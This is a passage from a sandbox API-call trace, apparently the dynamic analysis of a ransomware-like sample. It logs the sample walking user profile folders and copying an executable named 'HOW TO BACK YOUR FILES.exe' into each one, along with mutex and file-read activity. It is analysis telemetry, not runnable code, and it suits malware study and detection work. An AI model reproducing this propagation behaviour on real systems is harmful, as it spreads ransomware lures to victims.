(in: lpString1="Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Pictures\\HOW TO BACK YOUR FILES.exe") returned="Pictures\\HOW TO BACK YOUR FILES.exe" [0049.491] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.491] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0049.491] lstrcmpiW (lpString1="PrintHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.491] lstrcmpiW (lpString1="PrintHood", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.491] lstrcpyW (in: lpString1=0x241e86a, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0049.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b248 [0049.491] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x36) returned 0x529910 [0049.491] lstrcatW (in: lpString1="PrintHood", lpString2="\\" | out: lpString1="PrintHood\\") returned="PrintHood\\" [0049.491] lstrcatW (in: lpString1="PrintHood\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PrintHood\\HOW TO BACK YOUR FILES.exe") returned="PrintHood\\HOW TO BACK YOUR FILES.exe" [0049.491] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.492] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0049.492] lstrcmpiW (lpString1="Recent", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.492] lstrcmpiW (lpString1="Recent", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.492] lstrcpyW (in: lpString1=0x241e86a, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0049.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b260 [0049.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x30) returned 0x51a980 [0049.492] lstrcatW (in: lpString1="Recent", lpString2="\\" | out: lpString1="Recent\\") returned="Recent\\" [0049.492] lstrcatW (in: lpString1="Recent\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Recent\\HOW TO BACK YOUR FILES.exe") returned="Recent\\HOW TO BACK YOUR FILES.exe" [0049.492] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\recent\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.492] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0049.492] lstrcmpiW (lpString1="Saved Games", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.492] lstrcmpiW (lpString1="Saved Games", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.492] lstrcpyW (in: lpString1=0x241e86a, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0049.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b278 [0049.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50fb08 [0049.493] lstrcatW (in: lpString1="Saved Games", lpString2="\\" | out: lpString1="Saved Games\\") returned="Saved Games\\" [0049.493] lstrcatW (in: lpString1="Saved Games\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Saved Games\\HOW TO BACK YOUR FILES.exe") returned="Saved Games\\HOW TO BACK YOUR FILES.exe" [0049.493] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.493] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0049.493] lstrcmpiW (lpString1="Searches", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.493] lstrcmpiW (lpString1="Searches", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.493] lstrcpyW (in: lpString1=0x241e86a, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0049.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b290 [0049.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x529950 [0049.493] lstrcatW (in: lpString1="Searches", lpString2="\\" | out: lpString1="Searches\\") returned="Searches\\" [0049.493] lstrcatW (in: lpString1="Searches\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Searches\\HOW TO BACK YOUR FILES.exe") returned="Searches\\HOW TO BACK YOUR FILES.exe" [0049.493] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\searches\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.494] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0049.494] lstrcmpiW (lpString1="SendTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.494] lstrcmpiW (lpString1="SendTo", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.494] lstrcpyW (in: lpString1=0x241e86a, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0049.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b2a8 [0049.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x30) returned 0x51a7f8 [0049.494] lstrcatW (in: lpString1="SendTo", lpString2="\\" | out: lpString1="SendTo\\") returned="SendTo\\" [0049.494] lstrcatW (in: lpString1="SendTo\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SendTo\\HOW TO BACK YOUR FILES.exe") returned="SendTo\\HOW TO BACK YOUR FILES.exe" [0049.494] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.494] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0049.494] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.494] lstrcmpiW (lpString1="Start Menu", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.494] lstrcpyW (in: lpString1=0x241e86a, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0049.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b2c0 [0049.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x38) returned 0x529990 [0049.494] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0049.494] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0049.495] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.495] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0049.495] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.495] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.495] lstrcpyW (in: lpString1=0x241e86a, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0049.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b2d8 [0049.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x36) returned 0x5299d0 [0049.495] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0049.495] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0049.495] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.496] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1efd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0049.496] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.496] lstrcmpiW (lpString1="Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.496] lstrcpyW (in: lpString1=0x241e86a, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0049.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b2f0 [0049.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x30) returned 0x51a9b8 [0049.496] lstrcatW (in: lpString1="Videos", lpString2="\\" | out: lpString1="Videos\\") returned="Videos\\" [0049.496] lstrcatW (in: lpString1="Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Videos\\HOW TO BACK YOUR FILES.exe") returned="Videos\\HOW TO BACK YOUR FILES.exe" [0049.496] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.496] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1efd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0049.496] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0049.496] ReleaseMutex (hMutex=0xec) returned 1 [0049.496] CloseHandle (hObject=0xec) returned 1 [0049.496] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0049.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a910 | out: hHeap=0x4f0000) returned 1 [0049.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd48 | out: hHeap=0x4f0000) returned 1 [0049.496] lstrlenW (lpString="C:\\Users\\Default User") returned 21 [0049.497] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\36D10E9A205CA7C730163848ACFA10F9") returned 0xec [0049.497] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0049.497] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0049.497] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0049.497] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.497] CreateFileW (lpFileName="C:\\Users\\Default User\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0049.497] GetLastError () returned 0x0 [0049.497] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0049.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0049.497] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0049.497] CloseHandle (hObject=0xf4) returned 1 [0049.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0049.498] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0049.498] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd17d8e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd17d8e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0049.498] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.498] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.498] lstrcpyW (in: lpString1=0x241e874, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0049.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dd48 [0049.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50fb50 [0049.498] lstrcatW (in: lpString1="AppData", lpString2="\\" | out: lpString1="AppData\\") returned="AppData\\" [0049.498] lstrcatW (in: lpString1="AppData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AppData\\HOW TO BACK YOUR FILES.exe") returned="AppData\\HOW TO BACK YOUR FILES.exe" [0049.498] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.498] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0049.499] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.499] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.499] lstrcpyW (in: lpString1=0x241e874, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0049.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b308 [0049.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x516a50 [0049.499] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0049.499] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0049.499] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.499] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0049.499] lstrcmpiW (lpString1="Contacts", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.499] lstrcmpiW (lpString1="Contacts", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.499] lstrcpyW (in: lpString1=0x241e874, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0049.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b320 [0049.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3e) returned 0x50fb98 [0049.499] lstrcatW (in: lpString1="Contacts", lpString2="\\" | out: lpString1="Contacts\\") returned="Contacts\\" [0049.499] lstrcatW (in: lpString1="Contacts\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Contacts\\HOW TO BACK YOUR FILES.exe") returned="Contacts\\HOW TO BACK YOUR FILES.exe" [0049.500] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.500] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0049.500] lstrcmpiW (lpString1="Cookies", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.500] lstrcmpiW (lpString1="Cookies", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.500] lstrcpyW (in: lpString1=0x241e874, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0049.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b338 [0049.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50fbe0 [0049.500] lstrcatW (in: lpString1="Cookies", lpString2="\\" | out: lpString1="Cookies\\") returned="Cookies\\" [0049.500] lstrcatW (in: lpString1="Cookies\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Cookies\\HOW TO BACK YOUR FILES.exe") returned="Cookies\\HOW TO BACK YOUR FILES.exe" [0049.500] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.501] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0049.501] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.501] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.501] lstrcpyW (in: lpString1=0x241e874, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0049.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b350 [0049.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50fc28 [0049.501] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0049.501] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0049.501] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.501] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0049.501] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.501] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.501] lstrcpyW (in: lpString1=0x241e874, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0049.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b368 [0049.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x50fc70 [0049.501] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0049.501] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0049.502] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\documents\\how 